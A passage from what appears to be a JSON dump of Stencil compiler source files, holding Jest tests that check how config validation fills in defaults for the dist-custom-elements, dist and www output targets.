});\n\n    it('uses the default export behavior if the specified value is invalid', () => {\n      const outputTarget: d.OutputTargetDistCustomElements = {\n        type: DIST_CUSTOM_ELEMENTS,\n        customElementsExportBehavior: 'not-a-valid-option' as d.CustomElementsExportBehavior,\n      };\n      userConfig.outputTargets = [outputTarget];\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      expect(config.outputTargets).toEqual([\n        {\n          type: DIST_TYPES,\n          dir: defaultDistDir,\n          typesDir: join(rootDir, 'dist', 'types'),\n        },\n        {\n          type: DIST_CUSTOM_ELEMENTS,\n          copy: [],\n          dir: defaultDistDir,\n          empty: true,\n          externalRuntime: true,\n          generateTypeDeclarations: true,\n          customElementsExportBehavior: 'default',\n        },\n      ]);\n    });\n\n    it('uses a provided dir field over a default directory', () => {\n      const outputTarget: d.OutputTargetDistCustomElements = {\n        type: DIST_CUSTOM_ELEMENTS,\n        dir: distCustomElementsDir,\n        generateTypeDeclarations: false,\n      };\n      userConfig.outputTargets = [outputTarget];\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      expect(config.outputTargets).toEqual([\n        {\n          type: DIST_CUSTOM_ELEMENTS,\n          copy: [],\n          dir: join(rootDir, distCustomElementsDir),\n          empty: true,\n          externalRuntime: true,\n          generateTypeDeclarations: false,\n          customElementsExportBehavior: 'default',\n        },\n      ]);\n    });\n\n    describe('\"empty\" field', () => {\n      it('defaults the \"empty\" field to true if not provided', () => {\n        const outputTarget: d.OutputTargetDistCustomElements = {\n          type: DIST_CUSTOM_ELEMENTS,\n          externalRuntime: false,\n          generateTypeDeclarations: false,\n        };\n        userConfig.outputTargets = [outputTarget];\n\n        const { config } = validateConfig(userConfig, mockLoadConfigInit());\n        expect(config.outputTargets).toEqual([\n          {\n            type: DIST_CUSTOM_ELEMENTS,\n            copy: [],\n            dir: defaultDistDir,\n            empty: true,\n            externalRuntime: false,\n            generateTypeDeclarations: false,\n            customElementsExportBehavior: 'default',\n          },\n        ]);\n      });\n\n      it('defaults the \"empty\" field to true it\\'s not a boolean', () => {\n        const outputTarget: d.OutputTargetDistCustomElements = {\n          type: DIST_CUSTOM_ELEMENTS,\n          empty: undefined,\n          externalRuntime: false,\n          generateTypeDeclarations: false,\n        };\n        userConfig.outputTargets = [outputTarget];\n\n        const { config } = validateConfig(userConfig, mockLoadConfigInit());\n        expect(config.outputTargets).toEqual([\n          {\n            type: DIST_CUSTOM_ELEMENTS,\n            copy: [],\n            dir: defaultDistDir,\n            empty: true,\n            externalRuntime: false,\n            generateTypeDeclarations: false,\n            customElementsExportBehavior: 'default',\n          },\n        ]);\n      });\n    });\n\n    describe('\"externalRuntime\" field', () => {\n      it('defaults the \"externalRuntime\" field to true if not provided', () => {\n        const outputTarget: d.OutputTargetDistCustomElements = {\n          type: DIST_CUSTOM_ELEMENTS,\n          empty: false,\n          generateTypeDeclarations: false,\n        };\n        userConfig.outputTargets = [outputTarget];\n\n        const { config } = validateConfig(userConfig, mockLoadConfigInit());\n        expect(config.outputTargets).toEqual([\n          {\n            type: DIST_CUSTOM_ELEMENTS,\n            copy: [],\n            dir: defaultDistDir,\n            empty: false,\n            externalRuntime: true,\n            generateTypeDeclarations: false,\n            customElementsExportBehavior: 'default',\n          },\n        ]);\n      });\n\n      it('defaults the \"externalRuntime\" field to true it\\'s not a boolean', () => {\n        const outputTarget: d.OutputTargetDistCustomElements = {\n          type: DIST_CUSTOM_ELEMENTS,\n          empty: false,\n          externalRuntime: undefined,\n          generateTypeDeclarations: false,\n        };\n        userConfig.outputTargets = [outputTarget];\n\n        const { config } = validateConfig(userConfig, mockLoadConfigInit());\n        expect(config.outputTargets).toEqual([\n          {\n            type: DIST_CUSTOM_ELEMENTS,\n            copy: [],\n            dir: defaultDistDir,\n            empty: false,\n            externalRuntime: true,\n            generateTypeDeclarations: false,\n            customElementsExportBehavior: 'default',\n          },\n        ]);\n      });\n    });\n\n    describe('\"generateTypeDeclarations\" field', () => {\n      it('defaults the \"generateTypeDeclarations\" field to true if not provided', () => {\n        const outputTarget: d.OutputTargetDistCustomElements = {\n          type: DIST_CUSTOM_ELEMENTS,\n          empty: false,\n        };\n        userConfig.outputTargets = [outputTarget];\n\n        const { config } = validateConfig(userConfig, mockLoadConfigInit());\n        expect(config.outputTargets).toEqual([\n          {\n            type: DIST_TYPES,\n            dir: defaultDistDir,\n            typesDir: join(rootDir, 'dist', 'types'),\n          },\n          {\n            type: DIST_CUSTOM_ELEMENTS,\n            copy: [],\n            dir: defaultDistDir,\n            empty: false,\n            externalRuntime: true,\n            generateTypeDeclarations: true,\n            customElementsExportBehavior: 'default',\n          },\n        ]);\n      });\n\n      it('defaults the \"generateTypeDeclarations\" field to true it\\'s not a boolean', () => {\n        const outputTarget: d.OutputTargetDistCustomElements = {\n          type: DIST_CUSTOM_ELEMENTS,\n          empty: false,\n          generateTypeDeclarations: undefined,\n        };\n        userConfig.outputTargets = [outputTarget];\n\n        const { config } = validateConfig(userConfig, mockLoadConfigInit());\n        expect(config.outputTargets).toEqual([\n          {\n            type: DIST_TYPES,\n            dir: defaultDistDir,\n            typesDir: join(rootDir, 'dist', 'types'),\n          },\n          {\n            type: DIST_CUSTOM_ELEMENTS,\n            copy: [],\n            dir: defaultDistDir,\n            empty: false,\n            externalRuntime: true,\n            generateTypeDeclarations: true,\n            customElementsExportBehavior: 'default',\n          },\n        ]);\n      });\n\n      it('creates a types directory when \"generateTypeDeclarations\" is true', () => {\n        const outputTarget: d.OutputTargetDistCustomElements = {\n          type: DIST_CUSTOM_ELEMENTS,\n          empty: false,\n          externalRuntime: false,\n          generateTypeDeclarations: true,\n        };\n        userConfig.outputTargets = [outputTarget];\n\n        const { config } = validateConfig(userConfig, mockLoadConfigInit());\n        expect(config.outputTargets).toEqual([\n          {\n            type: DIST_TYPES,\n            dir: defaultDistDir,\n            typesDir: join(rootDir, 'dist', 'types'),\n          },\n          {\n            type: DIST_CUSTOM_ELEMENTS,\n            copy: [],\n            dir: defaultDistDir,\n            empty: false,\n            externalRuntime: false,\n            generateTypeDeclarations: true,\n            customElementsExportBehavior: 'default',\n          },\n        ]);\n      });\n\n      it('creates a types directory for a custom directory', () => {\n        const outputTarget: d.OutputTargetDistCustomElements = {\n          type: DIST_CUSTOM_ELEMENTS,\n          dir: distCustomElementsDir,\n          empty: false,\n          externalRuntime: false,\n          generateTypeDeclarations: true,\n        };\n        userConfig.outputTargets = [outputTarget];\n\n        const { config } = validateConfig(userConfig, mockLoadConfigInit());\n        expect(config.outputTargets).toEqual([\n          {\n            type: DIST_TYPES,\n            dir: join(rootDir, distCustomElementsDir),\n            typesDir: join(rootDir, 'dist', 'types'),\n          },\n          {\n            type: DIST_CUSTOM_ELEMENTS,\n            copy: [],\n            dir: join(rootDir, distCustomElementsDir),\n            empty: false,\n            externalRuntime: false,\n            generateTypeDeclarations: true,\n            customElementsExportBehavior: 'default',\n          },\n        ]);\n      });\n\n      it('doesn\\'t create a types directory when \"generateTypeDeclarations\" is false', () => {\n        const outputTarget: d.OutputTargetDistCustomElements = {\n          type: DIST_CUSTOM_ELEMENTS,\n          empty: false,\n          externalRuntime: false,\n          generateTypeDeclarations: false,\n        };\n        userConfig.outputTargets = [outputTarget];\n\n        const { config } = validateConfig(userConfig, mockLoadConfigInit());\n        expect(config.outputTargets).toEqual([\n          {\n            type: DIST_CUSTOM_ELEMENTS,\n            copy: [],\n            dir: defaultDistDir,\n            empty: false,\n            externalRuntime: false,\n            generateTypeDeclarations: false,\n            customElementsExportBehavior: 'default',\n          },\n        ]);\n      });\n    });\n\n    describe('copy tasks', () => {\n      it('copies existing copy tasks over to the output target', () => {\n        const copyOutputTarget: d.CopyTask = {\n          src: 'mock/src',\n          dest: 'mock/dest',\n        };\n        const copyOutputTarget2: d.CopyTask = {\n          src: 'mock/src2',\n          dest: 'mock/dest2',\n        };\n\n        const outputTarget: d.OutputTargetDistCustomElements = {\n          type: DIST_CUSTOM_ELEMENTS,\n          copy: [copyOutputTarget, copyOutputTarget2],\n          dir: distCustomElementsDir,\n          empty: false,\n          externalRuntime: false,\n          generateTypeDeclarations: false,\n        };\n        userConfig.outputTargets = [outputTarget];\n\n        const { config } = validateConfig(userConfig, mockLoadConfigInit());\n        expect(config.outputTargets).toEqual([\n          {\n            type: COPY,\n            dir: rootDir,\n            copy: [copyOutputTarget, copyOutputTarget2],\n          },\n          {\n            type: DIST_CUSTOM_ELEMENTS,\n            copy: [copyOutputTarget, copyOutputTarget2],\n            dir: join(rootDir, distCustomElementsDir),\n            empty: false,\n            externalRuntime: false,\n            generateTypeDeclarations: false,\n            customElementsExportBehavior: 'default',\n          },\n        ]);\n      });\n    });\n\n    describe('\"autoLoader\" field', () => {\n      it('normalizes autoLoader: true to an object with defaults', () => {\n        const outputTarget: d.OutputTargetDistCustomElements = {\n          type: DIST_CUSTOM_ELEMENTS,\n          autoLoader: true,\n          generateTypeDeclarations: false,\n        };\n        userConfig.outputTargets = [outputTarget];\n\n        const { config } = validateConfig(userConfig, mockLoadConfigInit());\n        const distCustomElementsTarget = config.outputTargets.find(\n          (o) => o.type === DIST_CUSTOM_ELEMENTS,\n        ) as d.OutputTargetDistCustomElements;\n\n        expect(distCustomElementsTarget.autoLoader).toEqual({\n          fileName: 'loader',\n          autoStart: true,\n        });\n      });\n\n      it('normalizes autoLoader object with partial options', () => {\n        const outputTarget: d.OutputTargetDistCustomElements = {\n          type: DIST_CUSTOM_ELEMENTS,\n          autoLoader: { fileName: 'my-loader' },\n          generateTypeDeclarations: false,\n        };\n        userConfig.outputTargets = [outputTarget];\n\n        const { config } = validateConfig(userConfig, mockLoadConfigInit());\n        const distCustomElementsTarget = config.outputTargets.find(\n          (o) => o.type === DIST_CUSTOM_ELEMENTS,\n        ) as d.OutputTargetDistCustomElements;\n\n        expect(distCustomElementsTarget.autoLoader).toEqual({\n          fileName: 'my-loader',\n          autoStart: true,\n        });\n      });\n\n      it('normalizes autoLoader object with autoStart: false', () => {\n        const outputTarget: d.OutputTargetDistCustomElements = {\n          type: DIST_CUSTOM_ELEMENTS,\n          autoLoader: { autoStart: false },\n          generateTypeDeclarations: false,\n        };\n        userConfig.outputTargets = [outputTarget];\n\n        const { config } = validateConfig(userConfig, mockLoadConfigInit());\n        const distCustomElementsTarget = config.outputTargets.find(\n          (o) => o.type === DIST_CUSTOM_ELEMENTS,\n        ) as d.OutputTargetDistCustomElements;\n\n        expect(distCustomElementsTarget.autoLoader).toEqual({\n          fileName: 'loader',\n          autoStart: false,\n        });\n      });\n\n      it('does not set autoLoader when not provided', () => {\n        const outputTarget: d.OutputTargetDistCustomElements = {\n          type: DIST_CUSTOM_ELEMENTS,\n          generateTypeDeclarations: false,\n        };\n        userConfig.outputTargets = [outputTarget];\n\n        const { config } = validateConfig(userConfig, mockLoadConfigInit());\n        const distCustomElementsTarget = config.outputTargets.find(\n          (o) => o.type === DIST_CUSTOM_ELEMENTS,\n        ) as d.OutputTargetDistCustomElements;\n\n        expect(distCustomElementsTarget.autoLoader).toBeUndefined();\n      });\n\n      it('does not set autoLoader when explicitly false', () => {\n        const outputTarget: d.OutputTargetDistCustomElements = {\n          type: DIST_CUSTOM_ELEMENTS,\n          autoLoader: false,\n          generateTypeDeclarations: false,\n        };\n        userConfig.outputTargets = [outputTarget];\n\n        const { config } = validateConfig(userConfig, mockLoadConfigInit());\n        const distCustomElementsTarget = config.outputTargets.find(\n          (o) => o.type === DIST_CUSTOM_ELEMENTS,\n        ) as d.OutputTargetDistCustomElements;\n\n        expect(distCustomElementsTarget.autoLoader).toBe(false);\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/config/test/validate-output-dist.spec.ts",
    "content": "import type * as d from '@stencil/core/declarations';\nimport { mockConfig, mockLoadConfigInit } from '@stencil/core/testing';\nimport { join } from '@utils';\nimport path from 'path';\n\nimport { validateConfig } from '../validate-config';\n\ndescribe('validateDistOutputTarget', () => {\n  // use Node's resolve() here to simulate a user using either Win/Posix separators (depending on the platform these\n  // tests are run on)\n  const rootDir = path.resolve('/');\n\n  let userConfig: d.Config;\n  beforeEach(() => {\n    userConfig = mockConfig({ fsNamespace: 'testing' });\n  });\n\n  it('should set dist values', () => {\n    const outputTarget: d.OutputTargetDist = {\n      type: 'dist',\n      dir: 'my-dist',\n      buildDir: 'my-build',\n      empty: false,\n    };\n    userConfig.outputTargets = [outputTarget];\n    userConfig.buildDist = true;\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    expect(config.outputTargets).toEqual([\n      {\n        buildDir: join(rootDir, 'my-dist', 'my-build'),\n        collectionDir: join(rootDir, 'my-dist', 'collection'),\n        copy: [],\n        dir: join(rootDir, 'my-dist'),\n        empty: false,\n        esmLoaderPath: join(rootDir, 'my-dist', 'loader'),\n        type: 'dist',\n        polyfills: false,\n        typesDir: join(rootDir, 'my-dist', 'types'),\n        transformAliasedImportPathsInCollection: true,\n        isPrimaryPackageOutputTarget: false,\n      },\n      {\n        esmDir: join(rootDir, 'my-dist', 'my-build', 'testing'),\n        empty: false,\n        isBrowserBuild: true,\n        legacyLoaderFile: join(rootDir, 'my-dist', 'my-build', 'testing.js'),\n        polyfills: true,\n        systemDir: undefined,\n        systemLoaderFile: undefined,\n        type: 'dist-lazy',\n      },\n      {\n        copyAssets: 'dist',\n        copy: [],\n        dir: join(rootDir, 'my-dist', 'my-build', 'testing'),\n        type: 'copy',\n      },\n      {\n        file: join(rootDir, 'my-dist', 'my-build', 'testing', 'testing.css'),\n        type: 'dist-global-styles',\n      },\n      {\n        dir: join(rootDir, 'my-dist'),\n        type: 'dist-types',\n        typesDir: join(rootDir, 'my-dist', 'types'),\n      },\n      {\n        collectionDir: join(rootDir, 'my-dist', 'collection'),\n        dir: join(rootDir, '/my-dist'),\n        empty: false,\n        transformAliasedImportPaths: true,\n        type: 'dist-collection',\n      },\n      {\n        copy: [{ src: '**/*.svg' }, { src: '**/*.js' }],\n        copyAssets: 'collection',\n        dir: join(rootDir, 'my-dist', 'collection'),\n        type: 'copy',\n      },\n      {\n        type: 'dist-lazy',\n        cjsDir: join(rootDir, 'my-dist', 'cjs'),\n        cjsIndexFile: join(rootDir, 'my-dist', 'index.cjs.js'),\n        empty: false,\n        esmDir: join(rootDir, 'my-dist', 'esm'),\n        esmEs5Dir: undefined,\n        esmIndexFile: join(rootDir, 'my-dist', 'index.js'),\n        polyfills: true,\n      },\n      {\n        cjsDir: join(rootDir, 'my-dist', 'cjs'),\n        componentDts: join(rootDir, 'my-dist', 'types', 'components.d.ts'),\n        dir: join(rootDir, 'my-dist', 'loader'),\n        empty: false,\n        esmDir: join(rootDir, 'my-dist', 'esm'),\n        esmEs5Dir: undefined,\n        type: 'dist-lazy-loader',\n      },\n    ]);\n  });\n\n  it('should set defaults when outputTargets dist is empty', () => {\n    userConfig.outputTargets = [{ type: 'dist' }];\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    const outputTarget = config.outputTargets.find((o) => o.type === 'dist') as d.OutputTargetDist;\n    expect(outputTarget).toBeDefined();\n    expect(outputTarget.dir).toBe(join(rootDir, 'dist'));\n    expect(outputTarget.buildDir).toBe(join(rootDir, '/dist'));\n    expect(outputTarget.empty).toBe(true);\n  });\n\n  it('should default to not add dist when outputTargets exists, but without dist', () => {\n    userConfig.outputTargets = [];\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    expect(config.outputTargets.some((o) => o.type === 'dist')).toBe(false);\n  });\n\n  it('sets option to transform aliased import paths when enabled', () => {\n    const outputTarget: d.OutputTargetDist = {\n      type: 'dist',\n      dir: 'my-dist',\n      buildDir: 'my-build',\n      empty: false,\n      transformAliasedImportPathsInCollection: true,\n    };\n    userConfig.outputTargets = [outputTarget];\n    userConfig.buildDist = true;\n\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n    expect(config.outputTargets).toEqual([\n      {\n        buildDir: join(rootDir, 'my-dist', 'my-build'),\n        collectionDir: join(rootDir, 'my-dist', 'collection'),\n        copy: [],\n        dir: join(rootDir, 'my-dist'),\n        empty: false,\n        esmLoaderPath: join(rootDir, 'my-dist', 'loader'),\n        type: 'dist',\n        polyfills: false,\n        typesDir: join(rootDir, 'my-dist', 'types'),\n        transformAliasedImportPathsInCollection: true,\n        isPrimaryPackageOutputTarget: false,\n      },\n      {\n        esmDir: join(rootDir, 'my-dist', 'my-build', 'testing'),\n        empty: false,\n        isBrowserBuild: true,\n        legacyLoaderFile: join(rootDir, 'my-dist', 'my-build', 'testing.js'),\n        polyfills: true,\n        systemDir: undefined,\n        systemLoaderFile: undefined,\n        type: 'dist-lazy',\n      },\n      {\n        copyAssets: 'dist',\n        copy: [],\n        dir: join(rootDir, 'my-dist', 'my-build', 'testing'),\n        type: 'copy',\n      },\n      {\n        file: join(rootDir, 'my-dist', 'my-build', 'testing', 'testing.css'),\n        type: 'dist-global-styles',\n      },\n      {\n        dir: join(rootDir, 'my-dist'),\n        type: 'dist-types',\n        typesDir: join(rootDir, 'my-dist', 'types'),\n      },\n      {\n        collectionDir: join(rootDir, 'my-dist', 'collection'),\n        dir: join(rootDir, '/my-dist'),\n        empty: false,\n        transformAliasedImportPaths: true,\n        type: 'dist-collection',\n      },\n      {\n        copy: [{ src: '**/*.svg' }, { src: '**/*.js' }],\n        copyAssets: 'collection',\n        dir: join(rootDir, 'my-dist', 'collection'),\n        type: 'copy',\n      },\n      {\n        type: 'dist-lazy',\n        cjsDir: join(rootDir, 'my-dist', 'cjs'),\n        cjsIndexFile: join(rootDir, 'my-dist', 'index.cjs.js'),\n        empty: false,\n        esmDir: join(rootDir, 'my-dist', 'esm'),\n        esmEs5Dir: undefined,\n        esmIndexFile: join(rootDir, 'my-dist', 'index.js'),\n        polyfills: true,\n      },\n      {\n        cjsDir: join(rootDir, 'my-dist', 'cjs'),\n        componentDts: join(rootDir, 'my-dist', 'types', 'components.d.ts'),\n        dir: join(rootDir, 'my-dist', 'loader'),\n        empty: false,\n        esmDir: join(rootDir, 'my-dist', 'esm'),\n        esmEs5Dir: undefined,\n        type: 'dist-lazy-loader',\n      },\n    ]);\n  });\n\n  it('sets option to validate primary package output target when enabled', () => {\n    const outputTarget: d.OutputTargetDist = {\n      type: 'dist',\n      dir: 'my-dist',\n      buildDir: 'my-build',\n      empty: false,\n      isPrimaryPackageOutputTarget: true,\n    };\n    userConfig.outputTargets = [outputTarget];\n    userConfig.buildDist = true;\n\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n    expect(config.outputTargets).toEqual([\n      {\n        buildDir: join(rootDir, 'my-dist', 'my-build'),\n        collectionDir: join(rootDir, 'my-dist', 'collection'),\n        copy: [],\n        dir: join(rootDir, 'my-dist'),\n        empty: false,\n        esmLoaderPath: join(rootDir, 'my-dist', 'loader'),\n        type: 'dist',\n        polyfills: false,\n        typesDir: join(rootDir, 'my-dist', 'types'),\n        transformAliasedImportPathsInCollection: true,\n        isPrimaryPackageOutputTarget: true,\n      },\n      {\n        esmDir: join(rootDir, 'my-dist', 'my-build', 'testing'),\n        empty: false,\n        isBrowserBuild: true,\n        legacyLoaderFile: join(rootDir, 'my-dist', 'my-build', 'testing.js'),\n        polyfills: true,\n        systemDir: undefined,\n        systemLoaderFile: undefined,\n        type: 'dist-lazy',\n      },\n      {\n        copyAssets: 'dist',\n        copy: [],\n        dir: join(rootDir, 'my-dist', 'my-build', 'testing'),\n        type: 'copy',\n      },\n      {\n        file: join(rootDir, 'my-dist', 'my-build', 'testing', 'testing.css'),\n        type: 'dist-global-styles',\n      },\n      {\n        dir: join(rootDir, 'my-dist'),\n        type: 'dist-types',\n        typesDir: join(rootDir, 'my-dist', 'types'),\n      },\n      {\n        collectionDir: join(rootDir, 'my-dist', 'collection'),\n        dir: join(rootDir, '/my-dist'),\n        empty: false,\n        transformAliasedImportPaths: true,\n        type: 'dist-collection',\n      },\n      {\n        copy: [{ src: '**/*.svg' }, { src: '**/*.js' }],\n        copyAssets: 'collection',\n        dir: join(rootDir, 'my-dist', 'collection'),\n        type: 'copy',\n      },\n      {\n        type: 'dist-lazy',\n        cjsDir: join(rootDir, 'my-dist', 'cjs'),\n        cjsIndexFile: join(rootDir, 'my-dist', 'index.cjs.js'),\n        empty: false,\n        esmDir: join(rootDir, 'my-dist', 'esm'),\n        esmEs5Dir: undefined,\n        esmIndexFile: join(rootDir, 'my-dist', 'index.js'),\n        polyfills: true,\n      },\n      {\n        cjsDir: join(rootDir, 'my-dist', 'cjs'),\n        componentDts: join(rootDir, 'my-dist', 'types', 'components.d.ts'),\n        dir: join(rootDir, 'my-dist', 'loader'),\n        empty: false,\n        esmDir: join(rootDir, 'my-dist', 'esm'),\n        esmEs5Dir: undefined,\n        type: 'dist-lazy-loader',\n      },\n    ]);\n  });\n});\n"
  },
  {
    "path": "src/compiler/config/test/validate-output-www.spec.ts",
    "content": "import type * as d from '@stencil/core/declarations';\nimport { mockLoadConfigInit } from '@stencil/core/testing';\nimport { isOutputTargetCopy, isOutputTargetHydrate, isOutputTargetWww, join } from '@utils';\nimport path from 'path';\n\nimport { ConfigFlags, createConfigFlags } from '../../../cli/config-flags';\nimport { validateConfig } from '../validate-config';\n\ndescribe('validateOutputTargetWww', () => {\n  // use Node's resolve() here to simulate a user using either Win/Posix separators (depending on the platform these\n  // tests are run on)\n  const rootDir = path.resolve('/');\n  let userConfig: d.Config;\n  let flags: ConfigFlags;\n\n  beforeEach(() => {\n    flags = createConfigFlags();\n    userConfig = {\n      rootDir: rootDir,\n      flags,\n    };\n  });\n\n  it('should have default value', () => {\n    const outputTarget: d.OutputTargetWww = {\n      type: 'www',\n      // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these\n      // tests are run on) for their input\n      dir: path.join('www', 'docs'),\n    };\n    userConfig.outputTargets = [outputTarget];\n    userConfig.buildEs5 = false;\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n    expect(config.outputTargets).toEqual([\n      {\n        appDir: join(rootDir, 'www', 'docs'),\n        baseUrl: '/',\n        buildDir: join(rootDir, 'www', 'docs', 'build'),\n        dir: join(rootDir, 'www', 'docs'),\n        empty: true,\n        indexHtml: join(rootDir, 'www', 'docs', 'index.html'),\n        polyfills: true,\n        serviceWorker: {\n          dontCacheBustURLsMatching: /p-\\w{8}/,\n          globDirectory: join(rootDir, 'www', 'docs'),\n          globIgnores: [\n            '**/host.config.json',\n            '**/*.system.entry.js',\n            '**/*.system.js',\n            '**/app.js',\n            '**/app.esm.js',\n            '**/app.css',\n          ],\n          globPatterns: ['*.html', '**/*.{js,css,json}'],\n          swDest: join(rootDir, 'www', 'docs', 'sw.js'),\n        },\n        type: 'www',\n      },\n      {\n        dir: join(rootDir, 'www', 'docs', 'build'),\n        esmDir: join(rootDir, 'www', 'docs', 'build'),\n        isBrowserBuild: true,\n        polyfills: true,\n        systemDir: undefined,\n        systemLoaderFile: undefined,\n        type: 'dist-lazy',\n      },\n      {\n        copyAssets: 'dist',\n        dir: join(rootDir, 'www', 'docs', 'build'),\n        type: 'copy',\n      },\n      {\n        copy: [\n          {\n            src: 'assets',\n            warn: false,\n          },\n          {\n            src: 'manifest.json',\n            warn: false,\n          },\n        ],\n        dir: join(rootDir, 'www', 'docs'),\n        type: 'copy',\n      },\n      {\n        file: join(rootDir, 'www', 'docs', 'build', 'app.css'),\n        type: 'dist-global-styles',\n      },\n    ]);\n  });\n\n  it('should www with sub directory', () => {\n    const outputTarget: d.OutputTargetWww = {\n      type: 'www',\n      // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these\n      // tests are run on) for their input\n      dir: path.join('www', 'docs'),\n    };\n    userConfig.outputTargets = [outputTarget];\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    const www = config.outputTargets.find(isOutputTargetWww) as d.OutputTargetWww;\n\n    expect(www.dir).toBe(join(rootDir, 'www', 'docs'));\n    expect(www.appDir).toBe(join(rootDir, 'www', 'docs'));\n    expect(www.buildDir).toBe(join(rootDir, 'www', 'docs', 'build'));\n    expect(www.indexHtml).toBe(join(rootDir, 'www', 'docs', 'index.html'));\n  });\n\n  it('should set www values', () => {\n    const outputTarget: d.OutputTargetWww = {\n      type: 'www',\n      dir: 'my-www',\n      buildDir: 'my-build',\n      indexHtml: 'my-index.htm',\n      empty: false,\n    };\n    userConfig.outputTargets = [outputTarget];\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    const www = config.outputTargets.find(isOutputTargetWww) as d.OutputTargetWww;\n\n    expect(www.type).toBe('www');\n    expect(www.dir).toBe(join(rootDir, 'my-www'));\n    expect(www.buildDir).toBe(join(rootDir, 'my-www', 'my-build'));\n    expect(www.indexHtml).toBe(join(rootDir, 'my-www', 'my-index.htm'));\n    expect(www.empty).toBe(false);\n  });\n\n  it('should default to add www when outputTargets is undefined', () => {\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    expect(config.outputTargets).toHaveLength(5);\n\n    const outputTarget = config.outputTargets.find(isOutputTargetWww) as d.OutputTargetWww;\n    expect(outputTarget.dir).toBe(join(rootDir, 'www'));\n    expect(outputTarget.buildDir).toBe(join(rootDir, 'www', 'build'));\n    expect(outputTarget.indexHtml).toBe(join(rootDir, 'www', 'index.html'));\n    expect(outputTarget.empty).toBe(true);\n  });\n\n  describe('baseUrl', () => {\n    it('baseUrl does not end with / with dir set', () => {\n      const outputTarget: d.OutputTargetWww = {\n        type: 'www',\n        dir: 'my-www',\n        baseUrl: '/docs',\n      };\n      userConfig.outputTargets = [outputTarget];\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      const www = config.outputTargets.find(isOutputTargetWww) as d.OutputTargetWww;\n\n      expect(www.type).toBe('www');\n      expect(www.dir).toBe(join(rootDir, 'my-www'));\n      expect(www.baseUrl).toBe('/docs/');\n      expect(www.appDir).toBe(join(rootDir, 'my-www/docs'));\n\n      expect(www.buildDir).toBe(join(rootDir, 'my-www', 'docs', 'build'));\n      expect(www.indexHtml).toBe(join(rootDir, 'my-www', 'docs', 'index.html'));\n    });\n\n    it('baseUrl does not end with /', () => {\n      const outputTarget: d.OutputTargetWww = {\n        type: 'www',\n        baseUrl: '/docs',\n      };\n      userConfig.outputTargets = [outputTarget];\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      const www = config.outputTargets.find(isOutputTargetWww) as d.OutputTargetWww;\n\n      expect(www.type).toBe('www');\n      expect(www.dir).toBe(join(rootDir, 'www'));\n      expect(www.baseUrl).toBe('/docs/');\n      expect(www.appDir).toBe(join(rootDir, 'www/docs'));\n\n      expect(www.buildDir).toBe(join(rootDir, 'www', 'docs', 'build'));\n      expect(www.indexHtml).toBe(join(rootDir, 'www', 'docs', 'index.html'));\n    });\n\n    it('baseUrl is a full url', () => {\n      const outputTarget: d.OutputTargetWww = {\n        type: 'www',\n        baseUrl: 'https://example.com/docs',\n      };\n      userConfig.outputTargets = [outputTarget];\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      const www = config.outputTargets.find(isOutputTargetWww) as d.OutputTargetWww;\n\n      expect(www.type).toBe('www');\n      expect(www.dir).toBe(join(rootDir, 'www'));\n      expect(www.baseUrl).toBe('https://example.com/docs/');\n      expect(www.appDir).toBe(join(rootDir, 'www/docs'));\n\n      expect(www.buildDir).toBe(join(rootDir, 'www', 'docs', 'build'));\n      expect(www.indexHtml).toBe(join(rootDir, 'www', 'docs', 'index.html'));\n    });\n  });\n\n  describe('copy', () => {\n    it('should add copy tasks', () => {\n      const outputTarget: d.OutputTargetWww = {\n        type: 'www',\n        // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these\n        // tests are run on) for their input\n        dir: path.join('www', 'docs'),\n        copy: [\n          {\n            src: 'index-modules.html',\n            dest: 'index-2.html',\n          },\n        ],\n      };\n      userConfig.outputTargets = [outputTarget];\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      const copyTargets = config.outputTargets.filter(isOutputTargetCopy);\n      expect(copyTargets).toEqual([\n        {\n          copyAssets: 'dist',\n          dir: join(rootDir, 'www', 'docs', 'build'),\n          type: 'copy',\n        },\n        {\n          copy: [\n            {\n              dest: 'index-2.html',\n              src: 'index-modules.html',\n            },\n            {\n              src: 'assets',\n              warn: false,\n            },\n            {\n              src: 'manifest.json',\n              warn: false,\n            },\n          ],\n          dir: join(rootDir, 'www', 'docs'),\n          type: 'copy',\n        },\n      ]);\n    });\n\n    it('should replace copy tasks', () => {\n      const outputTarget: d.OutputTargetWww = {\n        type: 'www',\n        // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these\n        // tests are run on) for their input\n        dir: path.join('www', 'docs'),\n        copy: [\n          {\n            src: 'assets',\n            dest: 'assets2',\n          },\n        ],\n      };\n      userConfig.outputTargets = [outputTarget];\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      const copyTargets = config.outputTargets.filter(isOutputTargetCopy);\n      expect(copyTargets).toEqual([\n        {\n          copyAssets: 'dist',\n          dir: join(rootDir, 'www', 'docs', 'build'),\n          type: 'copy',\n        },\n        {\n          copy: [\n            {\n              dest: 'assets2',\n              src: 'assets',\n            },\n            {\n              src: 'manifest.json',\n              warn: false,\n            },\n          ],\n          dir: join(rootDir, 'www', 'docs'),\n          type: 'copy',\n        },\n      ]);\n    });\n\n    it('should disable copy tasks', () => {\n      const outputTarget: d.OutputTargetWww = {\n        type: 'www',\n        // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these\n        // tests are run on) for their input\n        dir: path.join('www', 'docs'),\n        copy: null,\n      };\n      userConfig.outputTargets = [outputTarget];\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      const copyTargets = config.outputTargets.filter(isOutputTargetCopy);\n      